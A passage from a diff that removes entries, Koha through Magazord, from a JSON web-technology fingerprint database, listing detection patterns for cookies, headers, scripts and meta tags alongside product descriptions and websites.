([\\d.]+)$\\;version:\\1" - ] - }, - "implies": [ - "Perl" - ], - "description": "Koha is an open-source Integrated Library System (ILS).", - "website": "https://koha-community.org/" - }, - "Kohana": { - "cookies": { - "kohanasession": "" - }, - "headers": { - "x-powered-by": "kohana framework ([\\d.]+)\\;version:\\1" - }, - "implies": [ - "PHP" - ], - "website": "http://kohanaframework.org" - }, - "Koken": { - "cookies": { - "koken_referrer": "" - }, - "html": [ - "\u003chtml lang=\"en\" class=\"k-source-essays k-lens-essays\"\u003e", - "\u003c!--\\s+koken debugging" - ], - "meta": { - "generator": [ - "koken ([\\d.]+)\\;version:\\1" - ] - }, - "implies": [ - "PHP", - "MySQL" - ], - "website": "http://koken.me" - }, - "Komodo CMS": { - "meta": { - "generator": [ - "^komodo cms" - ] - }, - "implies": [ - "PHP" - ], - "website": "http://www.komodocms.com" - }, - "Konduto": { - "js": [ - "konduto", - "getkondutoid" - ], - "description": "Konduto is a fraud detection service for ecommerce.", - "website": "https://www.konduto.com" - }, - "Kong": { - "headers": { - "via": "^kong/([\\d\\.]+)(?:.+)?$\\;version:\\1" - }, - "description": "Kong is an open-source API gateway and platform that acts as middleware between compute clients and the API-centric applications.", - "website": "https://konghq.com" - }, - "Kontent.ai": { - "headers": { - "content-security-policy": "\\.kc-usercontent\\.com" - }, - "description": "Kontent.ai is a SaaS-based modular content platform.", - "website": "https://kontent.ai" - }, - "Koobi": { - "html": [ - "\u003c!--[^k\u003e-]+koobi ([a-z\\d.]+)\\;version:\\1" - ], - "meta": { - "generator": [ - "koobi" - ] - }, - "website": "http://dream4.de/cms" - }, - "Kooboo CMS": { - "headers": { - "x-kooboocms-version": "^(.+)$\\;version:\\1" - }, - "implies": [ - "Microsoft ASP.NET" - ], - "website": "http://kooboo.com" - }, - "Kooomo": { - "meta": { - "generator": [ - "kooomo(?: v([\\d.]+))?\\;version:\\1" - ] - }, - "implies": [ - "PHP", - "MySQL" - ], - "description": "Kooomo is a SaaS ecommerce platform with a focus on localisation and internationalisation.", - "website": "https://www.kooomo.com" - }, - "Kotisivukone": { - "website": "http://www.kotisivukone.fi" - }, - "Kotlin": { - "description": "Kotlin is a general purpose, free, open-source, statically typed “pragmatic” programming language initially designed for the JVM (Java Virtual Machine) and Android that combines object-oriented and functional programming features.", - "website": "https://kotlinlang.org" - }, - "Kount": { - "js": [ - "ka.clientsdk", - "ka.collectdata" - ], - "description": "Kount is a suite of fraud detection and prevention solutions for ecommerce businesses.", - "website": "https://kount.com" - }, - "Ktor": { - "headers": { - "server": "^ktor/debug$", - "x-engine": "^ktor$" - }, - "implies": [ - "Kotlin" - ], - "description": "Ktor is a Kotlin framework that allow developers to write asynchronous clients and servers applications, in Kotlin.", - "website": "https://ktor.io" - }, - "Kubernetes Dashboard": { - "website": "https://kubernetes.io/" - }, - "KueskiPay": { - "js": [ - "kueskypushhead" - ], - "implies": [ - "Cart Functionality" - ], - "description": "KueskiPay is a buy-now-pay-later solution.", - "website": "https://kueskipay.com/" - }, - "Kustomer": { - "js": [ - "kustomer" - ], - "description": "Kustomer is a CRM platform.", - "website": "https://www.kustomer.com/" - }, - "Kwai pixel": { - "js": [ - "kwaianalyticsobject", - "kwaiq" - ], - "description": "Kwai is a social network for short videos and trends.", - "website": "https://www.kwai.com" - }, - "LEPTON": { - "meta": { - "generator": [ - "lepton" - ] - }, - "implies": [ - "PHP" - ], - "website": "http://www.lepton-cms.org" - }, - "LGC": { - "meta": { - "generator": [ - "^lgc$" - ] - }, - "description": "LGC is a modern CMS designed to improve the management of your website.", - "website": "https://luigigabrieleconti.com" - }, - "LINE Login": { - "js": [ - "constants.authorization_request_url" - ], - "description": "LINE Login is an API that allows you to implement a login function into your services, regardless of whether they are web apps or native apps.", - "website": "https://developers.line.biz/en/services/line-login/" - }, - "LKQD": { - "js": [ - "lkqdsettings", - "lkqd_http_response", - "lkqdcall", - "lkqderrorcount" - ], - "description": "LKQD is a video advertising platform that enables publishers to serve video ads across multiple devices and formats.", - "website": "https://wiki.lkqd.com" - }, - "LOU": { - "description": "LOU is a Digital Adoption Platform that streamlines user onboarding and training.", - "website": "https://www.louassist.com" - }, - "Lagoon": { - "headers": { - "x-lagoon": "" - }, - "description": "The Open Source Application Delivery Platform for Kubernetes.", - "website": "https://lagoon.sh/" - }, - "Landbot": { - "js": [ - "initlandbot", - "landbotlivechat" - ], - "description": "Landbot is a no code conversational chatbots, conversational landing pages and website, interactive survey and lead generation bot.", - "website": "https://landbot.io" - }, - "LandingPress": { - "description": "LandingPress is a WordPress theme.", - "website": "https://landingpress.net" - }, - "LangShop": { - "js": [ - "langshop", - "langshopconfig", - "langshopsdk" - ], - "implies": [ - "Shopify" - ], - "description": "LangShop is an app for translating Shopify stores.", - "website": "https://langshop.io" - }, - "Laravel": { - "cookies": { - "laravel_session": "" - }, - "js": [ - "laravel" - ], - "implies": [ - "PHP" - ], - "description": "Laravel is a free, open-source PHP web framework.", - "website": "https://laravel.com" - }, - "Laravel Echo": { - "js": [ - "echo.connector", - "echo.connector" - ], - "implies": [ - "Laravel" - ], - "description": "Laravel Echo is a JavaScript library that makes it painless to subscribe to channels and listen for events broadcast by Laravel.", - "website": "https://laravel.com/docs/broadcasting#client-side-installation" - }, - "Laterpay": { - "meta": { - "laterpay:connector:callbacks:on_user_has_access": [ - "deobfuscatetext" - ] - }, - "description": "Laterpay is a service that simplifies payments on the Internet. In addition to the classic immediate purchase option, Laterpay also allows you to buy digital content such as articles or videos now and pay later.", - "website": "https://www.laterpay.net/" - }, - "LatitudePay": { - "js": [ - "checkout.enabledpayments.latitudepay", - "wc_ga_pro.available_gateways.latitudepay" - ], - "description": "LatitudePay is an interest-free, buy now, pay later solution.", - "website": "https://www.latitudepay.com" - }, - "LaunchDarkly": { - "js": [ - "ddc.ws.state", - "launchdarkly" - ], - "description": "LaunchDarkly is a continuous delivery and feature flags as a service platform that integrates into a company's current development cycle.", - "website": "https://launchdarkly.com" - }, - "Launchrock": { - "js": [ - "lrignition", - "lrignition", - "lrloadedjs", - "lrsiterenderingdata.apiendpoint", - "lrsitesettingasboolean" - ], - "description": "Launchrock is an online tool designed to help capture email addresses and create online product launching events.", - "website": "https://www.launchrock.com" - }, - "LayBuy": { - "js": [ - "laybuyhelper", - "checkout.enabledpayments.laybuy", - "laybuyenablecart", - "laybuymoneyoverides", - "wc_ga_pro.available_gateways.laybuy" - ], - "description": "Laybuy is a payment service that lets you receive your purchase now and spread the total cost over 6 weekly automatic payments interest free.", - "website": "https://www.laybuy.com" - }, - "LayoutHub": { - "implies": [ - "Shopify" - ], - "description": "LayoutHub is an easy page builder that helps merchants quickly set up an online store with any kind of page type by using our library of pre-designed layouts and blocks.", - "website": "https://layouthub.com" - }, - "Layui": { - "js": [ - "layui.v" - ], - "description": "Layui is an open-source modular front-end UI component library.", - "website": "https://layui.gitee.io" - }, - "Lazada": { - "meta": { - "aplus-auto-exp": [ - "lzdhome\\.desktop\\." - ] - }, - "description": "Lazada is a B2B2C marketplace model in which so-called merchants sell goods on their platform.", - "website": "https://www.lazada.com" - }, - "LazySizes": { - "js": [ - "lazysizes", - "lazysizesconfig" - ], - "description": "LazySizes is a JavaScript library used to delay the loading of images (iframes, scripts, etc) until they come into view.", - "website": "https://github.com/aFarkas/lazysizes" - }, - "LazySizes unveilhooks plugin": { - "description": "LazySizes unveilhooks plugin extends lazySizes to lazyload scripts/widgets, background images, styles and video/audio elements.", - "website": "https://github.com/aFarkas/lazysizes/tree/gh-pages/plugins/unveilhooks" - }, - "Leadfeeder": { - "js": [ - "ldfdr.gettracker" - ], - "headers": { - "content-security-policy": "\\.(?:lfeeder|leadfeeder)\\.com" - }, - "description": "Leadfeeder is a B2B visitor identification software that tracks and identifies companies that visit your website.", - "website": "https://www.leadfeeder.com" - }, - "Leadinfo": { - "js": [ - "globalleadinfonamespace", - "leadinfo" - ], - "description": "Leadinfo is a lead generation software that enables you to recognise B2B website visitors.", - "website": "https://www.leadinfo.com" - }, - "Leadster": { - "js": [ - "neurolead.convoscript", - "neurolead.elchatbot", - "neuroleadlanguage" - ], - "description": "Leadster is a conversation marketing plataform based on chatbot.", - "website": "https://leadster.com.br" - }, - "Leaflet": { - "js": [ - "l.version", - "l.distancegrid", - "l.posanimation" - ], - "description": "Leaflet is the open-source JavaScript library for mobile-friendly interactive maps.", - "website": "http://leafletjs.com" - }, - "Leaflet platform": { - "implies": [ - "Shopify" - ], - "description": "Leaflet is the price testing platform for Shopify.", - "website": "https://join.leaflet.co" - }, - "Leanplum": { - "js": [ - "leanplum" - ], - "description": "Leanplum is a multi-channel messaging and campaign orchestration platform.", - "website": "https://www.leanplum.com" - }, - "LearnWorlds": { - "js": [ - "lwclient.ebooks", - "lwsettings.deactive_components" - ], - "description": "LearnWorlds is a powerful yet lightweight, user-friendly, white-labeled cloud-based LMS ideal for versatile employee training.", - "website": "https://www.learnworlds.com" - }, - "Leaseweb": { - "description": "Leaseweb is an Infrastructure-as-a-Service (IaaS) provider offering dedicated servers, CDN, cloud hosting and hybrid cloud on a global network.", - "website": "https://www.leaseweb.com" - }, - "Lede": { - "js": [ - "ledechartbeatviews", - "ledeengagement", - "ledeengagementreset" - ], - "html": [ - "\u003ca [^\u003e]*href=\"[^\"]+joinlede.com" - ], - "meta": { - "og:image": [ - "https?\\:\\/\\/lede-admin" - ] - }, - "implies": [ - "WordPress", - "WordPress VIP" - ], - "description": "Lede is a publishing platform and growth program designed to support journalism startups and news media.", - "website": "https://joinlede.com/" - }, - "Legal Monster": { - "js": [ - "legal.__version__" - ], - "description": "Legal Monster is a consent and privacy management solution, which helps businesses maintain compliance with ePrivacy, marketing requirements and General Data Protection Regulation (GDPR).", - "website": "https://www.legalmonster.com" - }, - "Lengow": { - "description": "Lengow is an ecommerce automation solution that enables brands and retailers to integrate, structure and optimise their product content across all distribution channels: marketplaces, comparison shopping engines, affiliate platforms, display and retargeting.", - "website": "https://www.lengow.com" - }, - "Lenis": { - "js": [ - "lenisversion" - ], - "description": "Lenis is a smooth scroll library to normalise the scrolling experience across devices.", - "website": "https://lenis.studiofreight.com" - }, - "Less": { - "html": [ - "\u003clink[^\u003e]+ rel=\"stylesheet/less\"" - ], - "website": "http://lesscss.org" - }, - "Let's Encrypt": { - "description": "Let's Encrypt is a free, automated, and open certificate authority.", - "website": "https://letsencrypt.org/" - }, - "Letro": { - "js": [ - "__letrougcgadget", - "letrougcset" - ], - "description": "Letro is a UGC and review tool for ecommerce platforms.", - "website": "https://service.aainc.co.jp/product/letro/" - }, - "Level 5": { - "js": [ - "l5_inventory_url" - ], - "description": "Level 5 is a page builder constructed with WordPress and powered with WP Engine hosting featuring advanced caching and performance optimisation.", - "website": "https://level5advertising.com/websites/" - }, - "Lever": { - "headers": { - "content-security-policy": "\\.lever\\.co" - }, - "description": "Lever is a software company headquartered in San Francisco, California and Toronto, Canada that provides an applicant tracking system for hiring.", - "website": "https://www.lever.co" - }, - "Lexity": { - "description": "Lexity is the one-stop-shop of ecommerce services for SMBs.", - "website": "http://lexity.com" - }, - "Liberapay": { - "description": "Liberapay is a non-profit organisation subscription payment platform.", - "website": "https://liberapay.com/" - }, - "Libravatar": { - "description": "Libravatar is a service for fetching avatar images for e-mail addresses and OpenIDs in a privacy respecting way.", - "website": "https://www.libravatar.org/" - }, - "Lieferando": { - "js": [ - "tealium.pagedata.country" - ], - "description": "Lieferando is an online portal for food orders.", - "website": "https://www.lieferando.de" - }, - "Liferay": { - "js": [ - "liferay" - ], - "headers": { - "liferay-portal": "[a-z\\s]+([\\d.]+)\\;version:\\1" - }, - "implies": [ - "Java" - ], - "description": "Liferay is an open-source company that provides free documentation and paid professional service to users of its software.", - "website": "https://www.liferay.com/" - }, - "Lift": { - "headers": { - "x-lift-version": "(.+)\\;version:\\1" - }, - "implies": [ - "Scala" - ], - "website": "http://liftweb.net" - }, - "LightMon Engine": { - "cookies": { - "lm_online": "" - }, - "html": [ - "\u003c!-- lightmon engine copyright lightmon" - ], - "meta": { - "generator": [ - "lightmon engine" - ] - }, - "implies": [ - "PHP" - ], - "website": "http://lightmon.ru" - }, - "Lightbox": { - "html": [ - "\u003clink [^\u003e]*href=\"[^\"]+lightbox(?:\\.min)?\\.css" - ], - "website": "http://lokeshdhakar.com/projects/lightbox2/" - }, - "Lightning": { - "js": [ - "lightningopt.header_scrool" - ], - "description": "Lightning is a very simple and easy to customize WordPress theme which is based on the Bootstrap.", - "website": "https://lightning.vektor-inc.co.jp/en/" - }, - "Lightspeed eCom": { - "html": [ - "\u003c!-- \\[start\\] 'blocks/head\\.rain' --\u003e" - ], - "website": "http://www.lightspeedhq.com/products/ecommerce/" - }, - "LimeChat": { - "description": "LimeChat is India's first level-3 AI chatbot company.", - "website": "https://www.limechat.ai" - }, - "LimeSpot": { - "js": [ - "limespot.cartitems", - "limespot.recommendations" - ], - "description": "LimeSpot is an AI-powered personalisation platform for marketers and ecommerce professionals.", - "website": "https://www.limespot.com" - }, - "Limepay": { - "js": [ - "limepayidentity", - "wc_ga_pro.available_gateways.limepay" - ], - "description": "Limepay is a buy now, pay later platform that's fully integrated with the merchant's payment platform.", - "website": "https://www.limepay.com.au" - }, - "Limit Login Attempts Reloaded": { - "description": "Limit Login Attempts Reloaded stops brute-force attacks and optimizes your site performance by limiting the number of login attempts that are possible through the normal login as well as XMLRPC, Woocommerce and custom login pages.", - "website": "https://www.limitloginattempts.com" - }, - "LinkSmart": { - "js": [ - "linksmart", - "_mb_site_guid", - "ls_json" - ], - "website": "http://linksmart.com" - }, - "Linkedin Ads": { - "headers": { - "content-security-policy": "px\\.ads\\.linkedin\\.com" - }, - "html": [ - "\u003cimg [^\u003e]*src=\"[^/]*//[^/]*px\\.ads\\.linkedin\\.com" - ], - "description": "Linkedin Ads is a paid marketing tool that offers access to Linkedin social networks through various sponsored posts and other methods.", - "website": "https://business.linkedin.com/marketing-solutions/ads" - }, - "Linkedin Insight Tag": { - "js": [ - "oribi", - "_linkedin_data_partner_id", - "_linkedin_partner_id" - ], - "description": "LinkedIn Insight Tag is a lightweight JavaScript tag that powers conversion tracking, website audiences, and website demographics.", - "website": "https://business.linkedin.com/marketing-solutions/insight-tag" - }, - "Linkedin Sign-in": { - "js": [ - "onlinkedinauth", - "onlinkedinload" - ], - "description": "Linkedin Sign-In is an authentication system that reduces the burden of login for users, by enabling them to sign in with their Linkedin account.", - "website": "https://www.linkedin.com/developers" - }, - "Linx Commerce": { - "js": [ - "ezgacfg.config.store", - "ezgacfg.shopper", - "linximpulse.config.integrationflags.platformprovider" - ], - "description": "Linx Commerce is an ecommerce platform, which provides seamless and personalised cross-channel solution that enables a true omni-channel shopping experience.", - "website": "https://www.linx.com.br/linx-commerce" - }, - "Linx Impulse": { - "js": [ - "linx.banner", - "linximpulse.config", - "linximpulseinitialized" - ], - "description": "Linx Impulse is a personalisation, media and retargeting solutions built by Linx.", - "website": "https://www.linx.com.br/linx-impulse" - }, - "Liquid Web": { - "headers": { - "x-lw-cache": "" - }, - "description": "Liquid Web is a US-based host offering premium managed web hosting solutions.", - "website": "https://www.liquidweb.com" - }, - "List.js": { - "js": [ - "list" - ], - "website": "http://listjs.com" - }, - "Listrak": { - "js": [ - "_ltksignup", - "_ltksubscriber" - ], - "description": "Listrak is a AI-based marketing automation and CRM solutions that unify, interpret and personalise data to engage customer across channels and devices.", - "website": "https://www.listrak.com" - }, - "LiteSpeed": { - "headers": { - "server": "^litespeed$" - }, - "description": "LiteSpeed is a high-scalability web server.", - "website": "http://litespeedtech.com" - }, - "Litespeed Cache": { - "headers": { - "x-litespeed-cache": "", - "x-turbo-charged-by": "litespeed" - }, - "description": "LiteSpeed Cache is an all-in-one site acceleration plugin for WordPress.", - "website": "https://wordpress.org/plugins/litespeed-cache/" - }, - "Lithium": { - "cookies": { - "lithiumvisitor": "" - }, - "js": [ - "lithium" - ], - "html": [ - " \u003ca [^\u003e]+powered by lithium" - ], - "implies": [ - "PHP" - ], - "website": "https://www.lithium.com" - }, - "Littledata": { - "js": [ - "littledatalayer", - "littledatalayer.version" - ], - "implies": [ - "Shopify" - ], - "description": "Littledata provides a seamless connection between your Shopify site, marketing channels, and Google Analytics.", - "website": "https://www.littledata.io" - }, - "Live Story": { - "js": [ - "lshelpers", - "livestory" - ], - "website": "https://www.livestory.nyc/" - }, - "LiveAgent": { - "js": [ - "liveagent" - ], - "description": "LiveAgent is an online live chat platform. The software provides a ticket management system.", - "website": "https://www.liveagent.com" - }, - "LiveCanvas": { - "implies": [ - "Bootstrap" - ], - "description": "LiveCanvas is a Bootstrap 5 WordPress page builder.", - "website": "https://livecanvas.com" - }, - "LiveChat": { - "js": [ - "livechatwidget" - ], - "description": "LiveChat is an online customer service software with online chat, help desk software, and web analytics capabilities.", - "website": "https://www.livechat.com/" - }, - "LiveHelp": { - "js": [ - "lhready" - ], - "description": "LiveHelp is an online chat tool.", - "website": "http://www.livehelp.it" - }, - "LiveIntent": { - "js": [ - "li.advertiserid" - ], - "description": "LiveIntent is an email ad monetization platform.", - "website": "https://www.liveintent.com" - }, - "LiveJournal": { - "description": "LiveJournal is a social networking service where users can keep a blog, journal or diary.", - "website": "http://www.livejournal.com" - }, - "LivePerson": { - "js": [ - "lptag.chronos" - ], - "description": "LivePerson is a tool for conversational chatbots and messaging.", - "website": "https://www.liveperson.com" - }, - "LiveRamp DPM": { - "js": [ - "dpmcomscorevars" - ], - "description": "LiveRamp DPM is a TV advertising metrics and analytics platform.", - "website": "https://liveramp.com/data-plus-math" - }, - "LiveRamp PCM": { - "js": [ - "wpjsonpliverampgdprcmp" - ], - "description": "LiveRamp PCM is a preference and consent management platform that enables comply with the ePrivacy Directive, GDPR, CCPA, and other data protection and privacy laws and regulations.", - "website": "https://liveramp.com/our-platform/preference-consent-management" - }, - "LiveSession": { - "description": "LiveSession helps increase conversion rates using session replays, and event-based product analytics.", - "website": "https://livesession.io/" - }, - "LiveStreet CMS": { - "js": [ - "livestreet_security_key" - ], - "headers": { - "x-powered-by": "livestreet cms" - }, - "implies": [ - "PHP" - ], - "website": "http://livestreetcms.com" - }, - "LiveZilla": { - "js": [ - "lz_chat_execute", - "lz_code_id", - "lz_tracking_set_widget_visibility" - ], - "description": "LiveZilla is a web-based live support platform.", - "website": "https://www.livezilla.net" - }, - "Livefyre": { - "js": [ - "fyreloader", - "l.version", - "lf.commentcount", - "fyre" - ], - "html": [ - "\u003c[^\u003e]+(?:id|class)=\"livefyre" - ], - "description": "Livefyre is a platform that integrates with the social web to boost social interaction.", - "website": "http://livefyre.com" - }, - "Liveinternet": { - "html": [ - "\u003cscript [^\u003e]*\u003e[\\s\\s]*//counter\\.yadro\\.ru/hit", - "\u003c!--liveinternet counter--\u003e", - "\u003c!--/liveinternet--\u003e", - "\u003ca href=\"http://www\\.liveinternet\\.ru/click\"" - ], - "website": "http://liveinternet.ru/rating/" - }, - "Livescale": { - "implies": [ - "Shopify" - ], - "description": "Livescale is a video platform that enables teams to transform content and ecommerce into a live shopping experience that reaches engages and monetizes audiences with LiveShopping.", - "website": "https://www.livescale.tv" - }, - "Livewire": { - "js": [ - "livewire" - ], - "html": [ - "\u003c[^\u003e]{1,512}\\bwire:" - ], - "implies": [ - "Laravel" - ], - "description": "Livewire is a full-stack Laravel framework for building dynamic interfaces.", - "website": "https://laravel-livewire.com" - }, - "Loadable-Components": { - "js": [ - "__loadable_loaded_chunks__" - ], - "description": "Loadable-Components is a library to solve the React code-splitting client-side and server-side.", - "website": "https://github.com/gregberge/loadable-components" - }, - "Loadify": { - "implies": [ - "Shopify" - ], - "description": "Loadify is a shopify app which helps merchants deploy performance techniques like loading screen, transitions \u0026 lazy Load.", - "website": "https://apps.shopify.com/loadify" - }, - "LocalFocus": { - "html": [ - "\u003ciframe[^\u003e]+\\blocalfocus\\b" - ], - "implies": [ - "Angular", - "D3" - ], - "website": "https://www.localfocus.nl/en/" - }, - "Localised": { - "description": "Localised is local-first ecommerce platform.", - "website": "https://www.localised.com" - }, - "Locksmith": { - "js": [ - "locksmith" - ], - "implies": [ - "Shopify" - ], - "description": "Locksmith is a shopify app for adding access control capability on shopify stores.", - "website": "https://apps.shopify.com/locksmith" - }, - "LocomotiveCMS": { - "html": [ - "\u003clink[^\u003e]*/sites/[a-z\\d]{24}/theme/stylesheets" - ], - "implies": [ - "Ruby on Rails", - "MongoDB" - ], - "website": "https://www.locomotivecms.com" - }, - "Lodash": { - "js": [ - "_.version", - "_.differenceby", - "_.templatesettings.imports._.templatesettings.imports._.version" - ], - "description": "Lodash is a JavaScript library which provides utility functions for common programming tasks using the functional programming paradigm.", - "website": "http://www.lodash.com" - }, - "LogRocket": { - "description": "LogRocket records videos of user sessions with logs and network data.", - "website": "https://logrocket.com/" - }, - "Loggly": { - "js": [ - "logglytracker" - ], - "description": "Loggly is a cloud-based log management service provider.", - "website": "https://www.loggly.com" - }, - "LogiCommerce": { - "js": [ - "logicommerceglobal" - ], - "meta": { - "generator": [ - "^logicommerce$" - ], - "logicommerce": [] - }, - "description": "LogiCommerce is the headless ecommerce platform.", - "website": "https://www.logicommerce.com" - }, - "Login with Amazon": { - "js": [ - "onamazonloginready" - ], - "description": "Login with Amazon allows you use your Amazon user name and password to sign into and share information with participating third-party websites or apps.", - "website": "https://developer.amazon.com/apps-and-games/login-with-amazon" - }, - "LoginRadius": { - "js": [ - "loginradius", - "loginradiusdefaults", - "loginradiussdk", - "loginradiusutility" - ], - "description": "LoginRadius is a cloud based SaaS Customer Identity Access Management platform based in Canada.", - "website": "https://www.loginradius.com" - }, - "LogoiX": { - "description": "LogoiX is a German shipping company.", - "website": "https://www.logoix.com" - }, - "Loja Integrada": { - "js": [ - "loja_id" - ], - "headers": { - "x-powered-by": "vtex-integrated-store" - }, - "website": "https://lojaintegrada.com.br/" - }, - "Loja Mestre": { - "meta": { - "webmaster": [ - "www\\.lojamestre\\.\\w+\\.br" - ] - }, - "description": "Loja Mestre is an all-in-one ecommerce platform from Brazil.", - "website": "https://www.lojamestre.com.br/" - }, - "Loja Virtual": { - "js": [ - "id_loja_virtual", - "link_loja_virtual", - "loja_sem_dominio" - ], - "description": "Loja Virtual is an all-in-one ecommerce platform from Brazil.", - "website": "https://www.lojavirtual.com.br" - }, - "Loja2": { - "description": "Loja2 is an all-in-one ecommerce platform from Brazil.", - "website": "https://www.loja2.com.br" - }, - "Loom": { - "website": "https://www.loom.com" - }, - "Loop Returns": { - "js": [ - "loop.config.variantparam", - "looponstore" - ], - "description": "Loop Returns is a return portal that automated all the returns and refunds of products.", - "website": "https://www.loopreturns.com" - }, - "Loop54": { - "cookies": { - "loop54user": "" - }, - "js": [ - "loop54.config.libversion" - ], - "description": "Loop54 is a ecommerce search and navigation SaaS product.", - "website": "https://www.loop54.com" - }, - "Lootly": { - "js": [ - "lootly.config", - "lootlywidgetinit" - ], - "description": "Lootly is a loyalty and referral marketing automation software suite for ecommerce businesses.", - "website": "https://lootly.io" - }, - "Loox": { - "js": [ - "loox_global_hash" - ], - "implies": [ - "Shopify" - ], - "description": "Loox is a reviews app for Shopify that helps you gather reviews and user-generated photos from your customers.", - "website": "https://loox.app" - }, - "Loqate": { - "js": [ - "loqateaccountcode", - "pca.platform.productlist" - ], - "description": "Loqate is an address verification solution.", - "website": "https://www.loqate.com" - }, - "LottieFiles": { - "description": "LottieFiles is an open-source animation file format that's tiny, high quality, interactive, and can be manipulated at runtime.", - "website": "https://lottiefiles.com" - }, - "LoyaltyLion": { - "js": [ - "loyaltylion.version" - ], - "description": "LoyaltyLion is a data-driven ecommerce loyalty and engagement platform.", - "website": "https://loyaltylion.com" - }, - "Lozad.js": { - "js": [ - "lozad" - ], - "description": "Lozad.js is a lightweight lazy-loading library that's just 535 bytes minified \u0026 gzipped.", - "website": "https://apoorv.pro/lozad.js/" - }, - "Lua": { - "headers": { - "x-powered-by": "\\blua(?: ([\\d.]+))?\\;version:\\1" - }, - "description": "Lua is a multi-paradigm programming language designed primarily for embedded use in applications.", - "website": "http://www.lua.org" - }, - "Luana": { - "js": [ - "luanaframework" - ], - "meta": { - "generator": [ - "^luana\\sframework\\s([\\d\\.]+)$\\;version:\\1" - ] - }, - "implies": [ - "PWA" - ], - "description": "Luana is a web framework that uses web browser APIs and features to make a cross-platform web app look like a Native one and bring the same experience.", - "website": "https://luanaframework.github.io" - }, - "Lucene": { - "implies": [ - "Java" - ], - "description": "Lucene is a free and open-source search engine software library.", - "website": "http://lucene.apache.org/core/" - }, - "Lucky Orange": { - "js": [ - "__wtw_lucky_site_id" - ], - "description": "Lucky Orange is a conversion optimisation tool with features including heatmaps, session recording, conversion funnels, form analytics, and chat.", - "website": "https://www.luckyorange.com" - }, - "Luigi’s Box": { - "js": [ - "luigis" - ], - "website": "https://www.luigisbox.com" - }, - "Luna": { - "js": [ - "ditto.__esmodule", - "dittoidlifetime", - "globaldittokey", - "globaldittoserver", - "jstextmap.dittosdkurl" - ], - "headers": { - "content-security-policy": "bsdk\\.api\\.ditto.com" - }, - "description": "Luna is a company that sells software that aids eyewear companies sell their products online using virtual fitting.", - "website": "https://luna.io" - }, - "LyraThemes Kale": { - "js": [ - "kale_responsive_videos" - ], - "description": "LyraThemes Kale is a charming and elegant, aesthetically minimal and uncluttered food blog WordPress theme.", - "website": "https://www.lyrathemes.com/kale" - }, - "Lytics": { - "js": [ - "__lytics__jstag__.version" - ], - "description": "Lytics is a customer data platform built for marketing teams.", - "website": "https://www.lytics.com" - }, - "MAAK": { - "meta": { - "author": [ - "^maak$" - ] - }, - "description": "MAAK is a Laravel based CMS developed by Mahdi Akbari.", - "website": "https://maak-code.ir" - }, - "MAJIN": { - "js": [ - "ma.touch" - ], - "description": "MAJIN reads the hearts and minds of each customer using real-world data to automate optimal marketing processes.", - "website": "https://ma-jin.jp" - }, - "MATORI.NET": { - "headers": { - "x-powered-by": "matori.net" - }, - "implies": [ - "OpenResty" - ], - "description": "MATORI.NET is a fully managed reverse proxy.", - "website": "http://matori.net" - }, - "MDBootstrap": { - "js": [ - "mdb.scrollspy" - ], - "implies": [ - "Bootstrap" - ], - "description": "MDBootstrap (Material Design for Bootstrap) is a complete UI package that can be integrated with other frameworks such as Angular, React, Vue, etc. It is used to design a fully responsive and mobile-friendly layout using various components, plugins, animation.", - "website": "https://mdbootstrap.com" - }, - "MDBootstrap WP theme": { - "implies": [ - "MDBootstrap" - ], - "description": "MDBootstrap WP theme is a WordPress theme built on top of the MDBootstrap front-end UI library. It provides a set of pre-designed layouts, widgets, and components that can be easily customised and integrated into WordPress websites.", - "website": "https://mdbgo.com/docs/projects/wordpress/" - }, - "MDS Brand": { - "description": "MDS Brand is a provider of website, CRM, vrtual BDC, SEO, PPC, and live chat solutions for Marine, RV, Powersports, and automotive industries.", - "website": "https://mdsbrand.com" - }, - "MDUI": { - "js": [ - "_mduieventid", - "mdui.drawer" - ], - "description": "MDUI is a CSS Framework based on material design.", - "website": "https://www.mdui.org" - }, - "MGID": { - "js": [ - "mgsensor.mgqworker" - ], - "description": "MGID is a programmatic advertising platform frequently used by misinformation websites.", - "website": "https://www.mgid.com" - }, - "MGPanel": { - "implies": [ - "MySQL" - ], - "description": "MGPanel has it all, a content management system that gives programmers the freedom to create professional web pages from scratch, also providing their clients with a self-managing platform.", - "website": "https://mgpanel.org" - }, - "MIYN Online Appointment": { - "js": [ - "miynlive.settings" - ], - "description": "MIYN Online Appointment is an advanced cloud-based online appointment scheduling software.", - "website": "https://miyn.app/online-appointment" - }, - "MODX": { - "js": [ - "modx", - "modx_media_path" - ], - "headers": { - "x-powered-by": "^modx" - }, - "html": [ - "\u003ca[^\u003e]+\u003epowered by modx\u003c/a\u003e", - "\u003c!-- modx process time debug info --\u003e", - "\u003c(?:link|script)[^\u003e]+assets/snippets/\\;confidence:20", - "\u003cform[^\u003e]+id=\"ajaxsearch_form\\;confidence:20", - "\u003cinput[^\u003e]+id=\"ajaxsearch_input\\;confidence:20" - ], - "meta": { - "generator": [ - "modx[^\\d.]*([\\d.]+)?\\;version:\\1" - ] - }, - "implies": [ - "PHP" - ], - "description": "MODX (originally MODx) is an open source content management system and web application framework for publishing content on the World Wide Web and intranets.", - "website": "https://modx.com/content-management-framework" - }, - "MRW": { - "description": "MRW is a Spanish courier company specialised in express national and international shipping services.", - "website": "https://www.mrw.es" - }, - "MSHOP": { - "description": "MSHOP is an all-in-one ecommerce platform.", - "website": "https://hotishop.com" - }, - "MTCaptcha": { - "js": [ - "mtcaptcha.getverifiedtoken", - "mtcaptchaconfig.sitekey" - ], - "description": "MTCaptcha is a captcha service that is GDPR and WCAG compliant, providing the confidence of privacy and accessibility.", - "website": "https://www.mtcaptcha.com" - }, - "MUI": { - "css": [ - "\\.MuiPaper-root" - ], - "implies": [ - "React" - ], - "description": "MUI(formerly Material UI) is a simple and customisable component library to build faster, beautiful, and more accessible React applications.", - "website": "https://mui.com" - }, - "Macaron": { - "implies": [ - "Go" - ], - "description": "Macaron is a high productive and modular web framework in Go.", - "website": "https://go-macaron.com" - }, - "MachoThemes NewsMag": { - "description": "MachoThemes Newsmag is a clean and modern magazine, news or blog WordPress theme.", - "website": "https://www.machothemes.com/item/newsmag-lite" - }, - "MadAdsMedia": { - "js": [ - "setmiframe", - "setmrefurl" - ], - "website": "http://madadsmedia.com" - }, - "MadCap Software": { - "js": [ - "madcap.accessibility", - "madcap.debug" - ], - "description": "MadCap Software is a company that specialises in creating software tools for technical writers to author and publish various types of content, including user manuals, online help systems, and knowledge bases.", - "website": "https://www.madcapsoftware.com" - }, - "Magazord": { - "meta": { - "web-author": [ - "^magazord$" - ] - }, - "description": "Magazord is an all-in-one ecommerce platform.", - "website": "https://www.magazord.com.br" 